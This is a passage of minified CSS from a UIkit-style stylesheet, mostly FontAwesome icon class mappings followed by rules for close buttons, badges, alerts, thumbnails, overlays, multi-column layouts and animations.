-icon-caret-square-o-down:before,.uk-icon-toggle-down:before{content:"\f150"}.uk-icon-caret-square-o-up:before,.uk-icon-toggle-up:before{content:"\f151"}.uk-icon-caret-square-o-right:before,.uk-icon-toggle-right:before{content:"\f152"}.uk-icon-eur:before,.uk-icon-euro:before{content:"\f153"}.uk-icon-gbp:before{content:"\f154"}.uk-icon-dollar:before,.uk-icon-usd:before{content:"\f155"}.uk-icon-inr:before,.uk-icon-rupee:before{content:"\f156"}.uk-icon-cny:before,.uk-icon-jpy:before,.uk-icon-rmb:before,.uk-icon-yen:before{content:"\f157"}.uk-icon-rouble:before,.uk-icon-rub:before,.uk-icon-ruble:before{content:"\f158"}.uk-icon-krw:before,.uk-icon-won:before{content:"\f159"}.uk-icon-bitcoin:before,.uk-icon-btc:before{content:"\f15a"}.uk-icon-file:before{content:"\f15b"}.uk-icon-file-text:before{content:"\f15c"}.uk-icon-sort-alpha-asc:before{content:"\f15d"}.uk-icon-sort-alpha-desc:before{content:"\f15e"}.uk-icon-sort-amount-asc:before{content:"\f160"}.uk-icon-sort-amount-desc:before{content:"\f161"}.uk-icon-sort-numeric-asc:before{content:"\f162"}.uk-icon-sort-numeric-desc:before{content:"\f163"}.uk-icon-thumbs-up:before{content:"\f164"}.uk-icon-thumbs-down:before{content:"\f165"}.uk-icon-youtube-square:before{content:"\f166"}.uk-icon-youtube:before{content:"\f167"}.uk-icon-xing:before{content:"\f168"}.uk-icon-xing-square:before{content:"\f169"}.uk-icon-youtube-play:before{content:"\f16a"}.uk-icon-dropbox:before{content:"\f16b"}.uk-icon-stack-overflow:before{content:"\f16c"}.uk-icon-instagram:before{content:"\f16d"}.uk-icon-flickr:before{content:"\f16e"}.uk-icon-adn:before{content:"\f170"}.uk-icon-bitbucket:before{content:"\f171"}.uk-icon-bitbucket-square:before{content:"\f172"}.uk-icon-tumblr:before{content:"\f173"}.uk-icon-tumblr-square:before{content:"\f174"}.uk-icon-long-arrow-down:before{content:"\f175"}.uk-icon-long-arrow-up:before{content:"\f176"}.uk-icon-long-arrow-left:before{content:"\f177"}.uk-icon-long-arrow-right:before{content:"\f178"}.uk-icon-apple:before{content:"\f179"}.uk-icon-windows:before{content:"\f17a"}.uk-icon-android:before{content:"\f17b"}.uk-icon-linux:before{content:"\f17c"}.uk-icon-dribbble:before{content:"\f17d"}.uk-icon-skype:before{content:"\f17e"}.uk-icon-foursquare:before{content:"\f180"}.uk-icon-trello:before{content:"\f181"}.uk-icon-female:before{content:"\f182"}.uk-icon-male:before{content:"\f183"}.uk-icon-gittip:before,.uk-icon-gratipay:before{content:"\f184"}.uk-icon-sun-o:before{content:"\f185"}.uk-icon-moon-o:before{content:"\f186"}.uk-icon-archive:before{content:"\f187"}.uk-icon-bug:before{content:"\f188"}.uk-icon-vk:before{content:"\f189"}.uk-icon-weibo:before{content:"\f18a"}.uk-icon-renren:before{content:"\f18b"}.uk-icon-pagelines:before{content:"\f18c"}.uk-icon-stack-exchange:before{content:"\f18d"}.uk-icon-arrow-circle-o-right:before{content:"\f18e"}.uk-icon-arrow-circle-o-left:before{content:"\f190"}.uk-icon-caret-square-o-left:before,.uk-icon-toggle-left:before{content:"\f191"}.uk-icon-dot-circle-o:before{content:"\f192"}.uk-icon-wheelchair:before{content:"\f193"}.uk-icon-vimeo-square:before{content:"\f194"}.uk-icon-try:before,.uk-icon-turkish-lira:before{content:"\f195"}.uk-icon-plus-square-o:before{content:"\f196"}.uk-icon-space-shuttle:before{content:"\f197"}.uk-icon-slack:before{content:"\f198"}.uk-icon-envelope-square:before{content:"\f199"}.uk-icon-wordpress:before{content:"\f19a"}.uk-icon-openid:before{content:"\f19b"}.uk-icon-bank:before,.uk-icon-institution:before,.uk-icon-university:before{content:"\f19c"}.uk-icon-graduation-cap:before,.uk-icon-mortar-board:before{content:"\f19d"}.uk-icon-yahoo:before{content:"\f19e"}.uk-icon-google:before{content:"\f1a0"}.uk-icon-reddit:before{content:"\f1a1"}.uk-icon-reddit-square:before{content:"\f1a2"}.uk-icon-stumbleupon-circle:before{content:"\f1a3"}.uk-icon-stumbleupon:before{content:"\f1a4"}.uk-icon-delicious:before{content:"\f1a5"}.uk-icon-digg:before{content:"\f1a6"}.uk-icon-pied-piper:before{content:"\f1a7"}.uk-icon-pied-piper-alt:before{content:"\f1a8"}.uk-icon-drupal:before{content:"\f1a9"}.uk-icon-joomla:before{content:"\f1aa"}.uk-icon-language:before{content:"\f1ab"}.uk-icon-fax:before{content:"\f1ac"}.uk-icon-building:before{content:"\f1ad"}.uk-icon-child:before{content:"\f1ae"}.uk-icon-paw:before{content:"\f1b0"}.uk-icon-spoon:before{content:"\f1b1"}.uk-icon-cube:before{content:"\f1b2"}.uk-icon-cubes:before{content:"\f1b3"}.uk-icon-behance:before{content:"\f1b4"}.uk-icon-behance-square:before{content:"\f1b5"}.uk-icon-steam:before{content:"\f1b6"}.uk-icon-steam-square:before{content:"\f1b7"}.uk-icon-recycle:before{content:"\f1b8"}.uk-icon-automobile:before,.uk-icon-car:before{content:"\f1b9"}.uk-icon-cab:before,.uk-icon-taxi:before{content:"\f1ba"}.uk-icon-tree:before{content:"\f1bb"}.uk-icon-spotify:before{content:"\f1bc"}.uk-icon-deviantart:before{content:"\f1bd"}.uk-icon-soundcloud:before{content:"\f1be"}.uk-icon-database:before{content:"\f1c0"}.uk-icon-file-pdf-o:before{content:"\f1c1"}.uk-icon-file-word-o:before{content:"\f1c2"}.uk-icon-file-excel-o:before{content:"\f1c3"}.uk-icon-file-powerpoint-o:before{content:"\f1c4"}.uk-icon-file-image-o:before,.uk-icon-file-photo-o:before,.uk-icon-file-picture-o:before{content:"\f1c5"}.uk-icon-file-archive-o:before,.uk-icon-file-zip-o:before{content:"\f1c6"}.uk-icon-file-audio-o:before,.uk-icon-file-sound-o:before{content:"\f1c7"}.uk-icon-file-movie-o:before,.uk-icon-file-video-o:before{content:"\f1c8"}.uk-icon-file-code-o:before{content:"\f1c9"}.uk-icon-vine:before{content:"\f1ca"}.uk-icon-codepen:before{content:"\f1cb"}.uk-icon-jsfiddle:before{content:"\f1cc"}.uk-icon-life-bouy:before,.uk-icon-life-buoy:before,.uk-icon-life-ring:before,.uk-icon-life-saver:before,.uk-icon-support:before{content:"\f1cd"}.uk-icon-circle-o-notch:before{content:"\f1ce"}.uk-icon-ra:before,.uk-icon-rebel:before{content:"\f1d0"}.uk-icon-empire:before,.uk-icon-ge:before{content:"\f1d1"}.uk-icon-git-square:before{content:"\f1d2"}.uk-icon-git:before{content:"\f1d3"}.uk-icon-hacker-news:before{content:"\f1d4"}.uk-icon-tencent-weibo:before{content:"\f1d5"}.uk-icon-qq:before{content:"\f1d6"}.uk-icon-wechat:before,.uk-icon-weixin:before{content:"\f1d7"}.uk-icon-paper-plane:before,.uk-icon-send:before{content:"\f1d8"}.uk-icon-paper-plane-o:before,.uk-icon-send-o:before{content:"\f1d9"}.uk-icon-history:before{content:"\f1da"}.uk-icon-circle-thin:before,.uk-icon-genderless:before{content:"\f1db"}.uk-icon-header:before{content:"\f1dc"}.uk-icon-paragraph:before{content:"\f1dd"}.uk-icon-sliders:before{content:"\f1de"}.uk-icon-share-alt:before{content:"\f1e0"}.uk-icon-share-alt-square:before{content:"\f1e1"}.uk-icon-bomb:before{content:"\f1e2"}.uk-icon-futbol-o:before,.uk-icon-soccer-ball-o:before{content:"\f1e3"}.uk-icon-tty:before{content:"\f1e4"}.uk-icon-binoculars:before{content:"\f1e5"}.uk-icon-plug:before{content:"\f1e6"}.uk-icon-slideshare:before{content:"\f1e7"}.uk-icon-twitch:before{content:"\f1e8"}.uk-icon-yelp:before{content:"\f1e9"}.uk-icon-newspaper-o:before{content:"\f1ea"}.uk-icon-wifi:before{content:"\f1eb"}.uk-icon-calculator:before{content:"\f1ec"}.uk-icon-paypal:before{content:"\f1ed"}.uk-icon-google-wallet:before{content:"\f1ee"}.uk-icon-cc-visa:before{content:"\f1f0"}.uk-icon-cc-mastercard:before{content:"\f1f1"}.uk-icon-cc-discover:before{content:"\f1f2"}.uk-icon-cc-amex:before{content:"\f1f3"}.uk-icon-cc-paypal:before{content:"\f1f4"}.uk-icon-cc-stripe:before{content:"\f1f5"}.uk-icon-bell-slash:before{content:"\f1f6"}.uk-icon-bell-slash-o:before{content:"\f1f7"}.uk-icon-trash:before{content:"\f1f8"}.uk-icon-copyright:before{content:"\f1f9"}.uk-icon-at:before{content:"\f1fa"}.uk-icon-eyedropper:before{content:"\f1fb"}.uk-icon-paint-brush:before{content:"\f1fc"}.uk-icon-birthday-cake:before{content:"\f1fd"}.uk-icon-area-chart:before{content:"\f1fe"}.uk-icon-pie-chart:before{content:"\f200"}.uk-icon-line-chart:before{content:"\f201"}.uk-icon-lastfm:before{content:"\f202"}.uk-icon-lastfm-square:before{content:"\f203"}.uk-icon-toggle-off:before{content:"\f204"}.uk-icon-toggle-on:before{content:"\f205"}.uk-icon-bicycle:before{content:"\f206"}.uk-icon-bus:before{content:"\f207"}.uk-icon-ioxhost:before{content:"\f208"}.uk-icon-angellist:before{content:"\f209"}.uk-icon-cc:before{content:"\f20a"}.uk-icon-ils:before,.uk-icon-shekel:before,.uk-icon-sheqel:before{content:"\f20b"}.uk-icon-meanpath:before{content:"\f20c"}.uk-icon-buysellads:before{content:"\f20d"}.uk-icon-connectdevelop:before{content:"\f20e"}.uk-icon-dashcube:before{content:"\f210"}.uk-icon-forumbee:before{content:"\f211"}.uk-icon-leanpub:before{content:"\f212"}.uk-icon-sellsy:before{content:"\f213"}.uk-icon-shirtsinbulk:before{content:"\f214"}.uk-icon-simplybuilt:before{content:"\f215"}.uk-icon-skyatlas:before{content:"\f216"}.uk-icon-cart-plus:before{content:"\f217"}.uk-icon-cart-arrow-down:before{content:"\f218"}.uk-icon-diamond:before{content:"\f219"}.uk-icon-ship:before{content:"\f21a"}.uk-icon-user-secret:before{content:"\f21b"}.uk-icon-motorcycle:before{content:"\f21c"}.uk-icon-street-view:before{content:"\f21d"}.uk-icon-heartbeat:before{content:"\f21e"}.uk-icon-venus:before{content:"\f221"}.uk-icon-mars:before{content:"\f222"}.uk-icon-mercury:before{content:"\f223"}.uk-icon-transgender:before{content:"\f224"}.uk-icon-transgender-alt:before{content:"\f225"}.uk-icon-venus-double:before{content:"\f226"}.uk-icon-mars-double:before{content:"\f227"}.uk-icon-venus-mars:before{content:"\f228"}.uk-icon-mars-stroke:before{content:"\f229"}.uk-icon-mars-stroke-v:before{content:"\f22a"}.uk-icon-mars-stroke-h:before{content:"\f22b"}.uk-icon-neuter:before{content:"\f22c"}.uk-icon-facebook-official:before{content:"\f230"}.uk-icon-pinterest-p:before{content:"\f231"}.uk-icon-whatsapp:before{content:"\f232"}.uk-icon-server:before{content:"\f233"}.uk-icon-user-plus:before{content:"\f234"}.uk-icon-user-times:before{content:"\f235"}.uk-icon-bed:before,.uk-icon-hotel:before{content:"\f236"}.uk-icon-viacoin:before{content:"\f237"}.uk-icon-train:before{content:"\f238"}.uk-icon-subway:before{content:"\f239"}.uk-icon-medium-logo:before{content:"\f23a"}.uk-icon-500px:before{content:"\f26e"}.uk-icon-amazon:before{content:"\f270"}.uk-icon-balance-scale:before{content:"\f24e"}.uk-icon-battery-0:before,.uk-icon-battery-empty:before{content:"\f244"}.uk-icon-battery-1:before,.uk-icon-battery-quarter:before{content:"\f243"}.uk-icon-battery-2:before,.uk-icon-battery-half:before{content:"\f242"}.uk-icon-battery-3:before,.uk-icon-battery-three-quarters:before{content:"\f241"}.uk-icon-battery-4:before,.uk-icon-battery-full:before{content:"\f240"}.uk-icon-black-tie:before{content:"\f27e"}.uk-icon-calendar-check-o:before{content:"\f274"}.uk-icon-calendar-minus-o:before{content:"\f272"}.uk-icon-calendar-plus-o:before{content:"\f271"}.uk-icon-calendar-times-o:before{content:"\f273"}.uk-icon-cc-diners-club:before{content:"\f24c"}.uk-icon-cc-jcb:before{content:"\f24b"}.uk-icon-chrome:before{content:"\f268"}.uk-icon-clone:before{content:"\f24d"}.uk-icon-commenting:before{content:"\f27a"}.uk-icon-commenting-o:before{content:"\f27b"}.uk-icon-contao:before{content:"\f26d"}.uk-icon-creative-commons:before{content:"\f25e"}.uk-icon-expeditedssl:before{content:"\f23e"}.uk-icon-firefox:before{content:"\f269"}.uk-icon-fonticons:before{content:"\f280"}.uk-icon-get-pocket:before{content:"\f265"}.uk-icon-gg:before{content:"\f260"}.uk-icon-gg-circle:before{content:"\f261"}.uk-icon-hand-lizard-o:before{content:"\f258"}.uk-icon-hand-paper-o:before,.uk-icon-hand-stop-o:before{content:"\f256"}.uk-icon-hand-peace-o:before{content:"\f25b"}.uk-icon-hand-pointer-o:before{content:"\f25a"}.uk-icon-hand-grab-o:before,.uk-icon-hand-rock-o:before{content:"\f255"}.uk-icon-hand-scissors-o:before{content:"\f257"}.uk-icon-hand-spock-o:before{content:"\f259"}.uk-icon-hourglass:before{content:"\f254"}.uk-icon-hourglass-o:before{content:"\f250"}.uk-icon-hourglass-1:before,.uk-icon-hourglass-start:before{content:"\f251"}.uk-icon-hourglass-2:before,.uk-icon-hourglass-half:before{content:"\f252"}.uk-icon-hourglass-3:before,.uk-icon-hourglass-end:before{content:"\f253"}.uk-icon-houzz:before{content:"\f27c"}.uk-icon-i-cursor:before{content:"\f246"}.uk-icon-industry:before{content:"\f275"}.uk-icon-internet-explorer:before{content:"\f26b"}.uk-icon-map:before{content:"\f279"}.uk-icon-map-o:before{content:"\f278"}.uk-icon-map-pin:before{content:"\f276"}.uk-icon-map-signs:before{content:"\f277"}.uk-icon-mouse-pointer:before{content:"\f245"}.uk-icon-object-group:before{content:"\f247"}.uk-icon-object-ungroup:before{content:"\f248"}.uk-icon-odnoklassniki:before{content:"\f263"}.uk-icon-odnoklassniki-square:before{content:"\f264"}.uk-icon-opencart:before{content:"\f23d"}.uk-icon-opera:before{content:"\f26a"}.uk-icon-optin-monster:before{content:"\f23c"}.uk-icon-registered:before{content:"\f25d"}.uk-icon-safari:before{content:"\f267"}.uk-icon-sticky-note:before{content:"\f249"}.uk-icon-sticky-note-o:before{content:"\f24a"}.uk-icon-television:before,.uk-icon-tv:before{content:"\f26c"}.uk-icon-trademark:before{content:"\f25c"}.uk-icon-tripadvisor:before{content:"\f262"}.uk-icon-vimeo:before{content:"\f27d"}.uk-icon-wikipedia-w:before{content:"\f266"}.uk-icon-y-combinator:before,.uk-icon-yc:before{content:"\f23b"}.uk-icon-y-combinator-square:before,.uk-icon-yc-square:before{content:"\f1d4"}.uk-icon-bluetooth:before{content:"\f293"}.uk-icon-bluetooth-b:before{content:"\f294"}.uk-icon-codiepie:before{content:"\f284"}.uk-icon-credit-card-alt:before{content:"\f283"}.uk-icon-edge:before{content:"\f282"}.uk-icon-fort-awesome:before{content:"\f286"}.uk-icon-hashtag:before{content:"\f292"}.uk-icon-mixcloud:before{content:"\f289"}.uk-icon-modx:before{content:"\f285"}.uk-icon-pause-circle:before{content:"\f28b"}.uk-icon-pause-circle-o:before{content:"\f28c"}.uk-icon-percent:before{content:"\f295"}.uk-icon-product-hunt:before{content:"\f288"}.uk-icon-reddit-alien:before{content:"\f281"}.uk-icon-scribd:before{content:"\f28a"}.uk-icon-shopping-bag:before{content:"\f290"}.uk-icon-shopping-basket:before{content:"\f291"}.uk-icon-stop-circle:before{content:"\f28d"}.uk-icon-stop-circle-o:before{content:"\f28e"}.uk-icon-usb:before{content:"\f287"}.uk-icon-american-sign-language-interpreting:before,.uk-icon-asl-interpreting:before{content:"\f2a3"}.uk-icon-assistive-listening-systems:before{content:"\f2a2"}.uk-icon-audio-description:before{content:"\f29e"}.uk-icon-blind:before{content:"\f29d"}.uk-icon-braille:before{content:"\f2a1"}.uk-icon-deaf:before,.uk-icon-deafness:before{content:"\f2a4"}.uk-icon-envira:before{content:"\f299"}.uk-icon-fa:before,.uk-icon-font-awesome:before{content:"\f2b4"}.uk-icon-first-order:before{content:"\f2b0"}.uk-icon-gitlab:before{content:"\f296"}.uk-icon-glide:before{content:"\f2a5"}.uk-icon-glide-g:before{content:"\f2a6"}.uk-icon-hard-of-hearing:before{content:"\f2a4"}.uk-icon-low-vision:before{content:"\f2a8"}.uk-icon-question-circle-o:before{content:"\f29c"}.uk-icon-sign-language:before,.uk-icon-signing:before{content:"\f2a7"}.uk-icon-snapchat:before{content:"\f2ab"}.uk-icon-snapchat-ghost:before{content:"\f2ac"}.uk-icon-snapchat-square:before{content:"\f2ad"}.uk-icon-themeisle:before{content:"\f2b2"}.uk-icon-universal-access:before{content:"\f29a"}.uk-icon-viadeo:before{content:"\f2a9"}.uk-icon-viadeo-square:before{content:"\f2aa"}.uk-icon-volume-control-phone:before{content:"\f2a0"}.uk-icon-wheelchair-alt:before{content:"\f29b"}.uk-icon-wpbeginner:before{content:"\f297"}.uk-icon-wpforms:before{content:"\f298"}.uk-icon-yoast:before{content:"\f2b1"}.uk-icon-adress-book:before{content:"\f2b9"}.uk-icon-adress-book-o:before{content:"\f2ba"}.uk-icon-adress-card:before{content:"\f2bb"}.uk-icon-adress-card-o:before{content:"\f2bc"}.uk-icon-bandcamp:before{content:"\f2d5"}.uk-icon-bath:before,.uk-icon-bathub:before{content:"\f2cd"}.uk-icon-drivers-license:before{content:"\f2c2"}.uk-icon-drivers-license-o:before{content:"\f2c3"}.uk-icon-eercast:before{content:"\f2da"}.uk-icon-envelope-open:before{content:"\f2b6"}.uk-icon-envelope-open-o:before{content:"\f2b7"}.uk-icon-etsy:before{content:"\f2d7"}.uk-icon-free-code-camp:before{content:"\f2c5"}.uk-icon-grav:before{content:"\f2d6"}.uk-icon-handshake-o:before{content:"\f2b5"}.uk-icon-id-badge:before{content:"\f2c1"}.uk-icon-id-card:before{content:"\f2c2"}.uk-icon-id-card-o:before{content:"\f2c3"}.uk-icon-imdb:before{content:"\f2d8"}.uk-icon-linode:before{content:"\f2b8"}.uk-icon-meetup:before{content:"\f2e0"}.uk-icon-microchip:before{content:"\f2db"}.uk-icon-podcast:before{content:"\f2ce"}.uk-icon-quora:before{content:"\f2c4"}.uk-icon-ravelry:before{content:"\f2d9"}.uk-icon-s15:before{content:"\f2cd"}.uk-icon-shower:before{content:"\f2cc"}.uk-icon-snowflake-o:before{content:"\f2dc"}.uk-icon-superpowers:before{content:"\f2dd"}.uk-icon-telegram:before{content:"\f2c6"}.uk-icon-thermometer:before{content:"\f2c7"}.uk-icon-thermometer-0:before{content:"\f2cb"}.uk-icon-thermometer-1:before{content:"\f2ca"}.uk-icon-thermometer-2:before{content:"\f2c9"}.uk-icon-thermometer-3:before{content:"\f2c8"}.uk-icon-thermometer-4:before{content:"\f2c7"}.uk-icon-thermometer-empty:before{content:"\f2cb"}.uk-icon-thermometer-full:before{content:"\f2c7"}.uk-icon-thermometer-half:before{content:"\f2c9"}.uk-icon-thermometer-quarter:before{content:"\f2ca"}.uk-icon-thermometer-three-quarters:before{content:"\f2c8"}.uk-icon-times-rectangle:before{content:"\f2d3"}.uk-icon-times-rectangle-o:before{content:"\f2d4"}.uk-icon-user-circle:before{content:"\f2bd"}.uk-icon-user-circle-o:before{content:"\f2be"}.uk-icon-user-o:before{content:"\f2c0"}.uk-icon-vcard:before{content:"\f2bb"}.uk-icon-vcard-o:before{content:"\f2bc"}.uk-icon-widow-close:before{content:"\f2d3"}.uk-icon-widow-close-o:before{content:"\f2d4"}.uk-icon-window-maximize:before{content:"\f2d0"}.uk-icon-window-minimize:before{content:"\f2d1"}.uk-icon-window-restore:before{content:"\f2d2"}.uk-icon-wpexplorer:before{content:"\f2de"}.uk-close::-moz-focus-inner{border:0;padding:0}.uk-close{margin:0;border:none;color:inherit;padding:0;background:0 0;box-sizing:content-box;width:20px;line-height:20px;opacity:.3}.uk-badge-notification,.uk-container,.uk-modal-dialog,.uk-overlay-area-content,.uk-responsive-height,.uk-responsive-width,.uk-scrollable-box,.uk-thumbnail,[class*=uk-height]{box-sizing:border-box}.uk-close:after{display:block;font-family:FontAwesome}.uk-close:focus,.uk-close:hover{opacity:.5;outline:0;color:inherit;text-decoration:none;cursor:pointer}.uk-badge,a.uk-badge:hover{color:#fff}.uk-close-alt{padding:2px;border-radius:50%;background:#fff;opacity:1;box-shadow:0 0 0 1px rgba(0,0,0,.1),0 0 6px rgba(0,0,0,.3)}.uk-close-alt:focus,.uk-close-alt:hover{opacity:1}.uk-close-alt:after{opacity:.5}.uk-close-alt:focus:after,.uk-close-alt:hover:after{opacity:.8}.uk-badge{display:inline-block;padding:0 5px;background:#337ab7;font-size:9px;font-weight:700;line-height:12px;text-align:center;text-transform:none;border:1px solid rgba(0,0,0,.06);border-radius:2px;text-shadow:0 1px 0 rgba(0,0,0,.1)}.uk-badge-notification{min-width:15px;border-radius:500px;font-size:10px;line-height:15px}.uk-badge-success{background-color:#5cb85c}.uk-badge-warning{background-color:#f0ad4e}.uk-badge-danger{background-color:#d9534f}.uk-alert{margin-bottom:15px;padding:10px;background:#d9edf7;color:#31708f;border:1px solid rgba(49,112,143,.3);border-radius:2px;text-shadow:0 1px 0 #fff}*+.uk-alert{margin-top:15px}.uk-alert>:last-child{margin-bottom:0}.uk-alert h1,.uk-alert h2,.uk-alert h3,.uk-alert h4,.uk-alert h5,.uk-alert h6{color:inherit}.uk-alert>.uk-close:first-child+*{margin-top:0}.uk-alert-success{background:#dff0d8;color:#3c763d;border-color:rgba(60,118,61,.3)}.uk-alert-warning{background:#fcf8e7;color:#8a6d3b;border-color:rgba(138,109,59,.3)}.uk-alert-danger{background:#f2dede;color:#a94442;border-color:rgba(169,68,66,.3)}.uk-alert-large{padding:20px}.uk-alert-large>.uk-close:first-child{margin:-10px -10px 0 0}.uk-overlay,.uk-thumbnail{margin:0;display:inline-block;max-width:100%}.uk-overlay-area-content>:last-child,.uk-overlay-panel.uk-flex>*>:last-child,.uk-overlay-panel>:last-child,.uk-overlay>:first-child{margin-bottom:0}.uk-thumbnail{padding:4px;border:1px solid #ddd;background:#fff;border-radius:2px}a.uk-thumbnail:focus,a.uk-thumbnail:hover{border-color:#aaa;background-color:#fff;text-decoration:none;outline:0}.uk-thumbnail-caption{padding-top:4px;text-align:center;color:#444}.uk-thumbnail-mini{width:150px}.uk-thumbnail-small{width:200px}.uk-thumbnail-medium{width:300px}.uk-thumbnail-large{width:400px}.uk-thumbnail-expand,.uk-thumbnail-expand>img{width:100%}.uk-overlay{overflow:hidden;-webkit-transform:translateZ(0)}.uk-overlay-area:empty:before,.uk-overlay-icon:before{content:"\f002";width:50px;height:50px;margin-top:-25px;margin-left:-25px;font-size:50px;line-height:1;text-align:center;font-family:FontAwesome}.uk-overlay.uk-border-circle{-webkit-mask-image:-webkit-radial-gradient(circle,#fff 100%,#000 100%)}.uk-overlay-panel{position:absolute;top:0;bottom:0;left:0;right:0;padding:20px;color:#fff}.uk-overlay-panel a[class*=uk-icon-]:not(.uk-icon-button),.uk-overlay-panel h1,.uk-overlay-panel h2,.uk-overlay-panel h3,.uk-overlay-panel h4,.uk-overlay-panel h5,.uk-overlay-panel h6{color:inherit}.uk-overlay-panel a:not([class]){color:inherit;text-decoration:underline}.uk-overlay-active :not(.uk-active)>.uk-overlay-panel:not(.uk-ignore),.uk-overlay-hover:not(:hover):not(.uk-hover) .uk-overlay-panel:not(.uk-ignore){opacity:0}.uk-overlay-background{background:rgba(0,0,0,.5)}.uk-overlay-image{padding:0}.uk-overlay-top{bottom:auto}.uk-overlay-bottom{top:auto}.uk-overlay-left{right:auto}.uk-overlay-right{left:auto}.uk-overlay-icon:before{position:absolute;top:50%;left:50%;color:#fff}.uk-overlay-blur,.uk-overlay-fade,.uk-overlay-grayscale,.uk-overlay-scale,.uk-overlay-spin,[class*=uk-overlay-slide]{transition-duration:.3s;transition-timing-function:ease-out;transition-property:opacity,transform,filter}.uk-overlay-active .uk-overlay-fade,.uk-overlay-active .uk-overlay-scale,.uk-overlay-active .uk-overlay-spin,.uk-overlay-active [class*=uk-overlay-slide]{transition-duration:.8s}.uk-overlay-fade{opacity:.7}.uk-overlay-active .uk-active>.uk-overlay-fade,.uk-overlay-hover.uk-hover .uk-overlay-fade,.uk-overlay-hover:hover .uk-overlay-fade{opacity:1}.uk-overlay-scale{-webkit-transform:scale(1);transform:scale(1)}.uk-overlay-active .uk-active>.uk-overlay-scale,.uk-overlay-hover.uk-hover .uk-overlay-scale,.uk-overlay-hover:hover .uk-overlay-scale{-webkit-transform:scale(1.1);transform:scale(1.1)}.uk-overlay-spin{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}.uk-overlay-active .uk-active>.uk-overlay-spin,.uk-overlay-hover.uk-hover .uk-overlay-spin,.uk-overlay-hover:hover .uk-overlay-spin{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}.uk-overlay-grayscale{-webkit-filter:grayscale(100%);filter:grayscale(100%)}.uk-overlay-active .uk-active>.uk-overlay-grayscale,.uk-overlay-hover.uk-hover .uk-overlay-grayscale,.uk-overlay-hover:hover .uk-overlay-grayscale{-webkit-filter:grayscale(0);filter:grayscale(0)}[class*=uk-overlay-slide]{opacity:0}.uk-overlay-slide-top{-webkit-transform:translateY(-100%);transform:translateY(-100%)}.uk-overlay-slide-bottom{-webkit-transform:translateY(100%);transform:translateY(100%)}.uk-overlay-slide-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.uk-overlay-slide-right{-webkit-transform:translateX(100%);transform:translateX(100%)}.uk-overlay-active .uk-active>[class*=uk-overlay-slide],.uk-overlay-hover.uk-hover [class*=uk-overlay-slide],.uk-overlay-hover:hover [class*=uk-overlay-slide]{opacity:1;-webkit-transform:translateX(0) translateY(0);transform:translateX(0) translateY(0)}.uk-overlay-area,.uk-overlay-caption{-webkit-transition:opacity .15s linear;-webkit-transform:translate3d(0,0,0);position:absolute;right:0;bottom:0}.uk-overlay-area{top:0;left:0;background:rgba(0,0,0,.3);opacity:0;transition:opacity .15s linear}.uk-overlay-toggle.uk-hover .uk-overlay-area,.uk-overlay-toggle:hover .uk-overlay-area,.uk-overlay.uk-hover .uk-overlay-area,.uk-overlay:hover .uk-overlay-area{opacity:1}.uk-overlay-area:empty:before{position:absolute;top:50%;left:50%;color:#fff}.uk-overlay-area:not(:empty){font-size:0}.uk-overlay-area:not(:empty):before{content:'';display:inline-block;height:100%;vertical-align:middle}.uk-overlay-area-content{display:inline-block;width:100%;font-size:1rem;text-align:center;padding:0 15px;color:#fff}.uk-overlay-area-content a:not([class]),.uk-overlay-area-content a:not([class]):hover{color:inherit}.uk-overlay-caption{left:0;padding:15px;background:rgba(0,0,0,.5);color:#fff;opacity:0;transition:opacity .15s linear}.uk-overlay-toggle.uk-hover .uk-overlay-caption,.uk-overlay-toggle:hover .uk-overlay-caption,.uk-overlay.uk-hover .uk-overlay-caption,.uk-overlay:hover .uk-overlay-caption{opacity:1}[class*=uk-column-]{-webkit-column-gap:25px;-moz-column-gap:25px;column-gap:25px}.uk-column-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}@media (min-width:480px){.uk-column-small-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-small-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-small-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-small-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-small-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}@media (min-width:768px){.uk-column-medium-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-medium-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-medium-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-medium-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-medium-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}@media (min-width:960px){.uk-column-large-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-large-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-large-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-large-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-large-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}@media (min-width:1220px){.uk-column-xlarge-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-xlarge-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-xlarge-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-xlarge-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-xlarge-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}[class*=uk-animation-]{-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;-webkit-animation-fill-mode:both;animation-fill-mode:both}@media 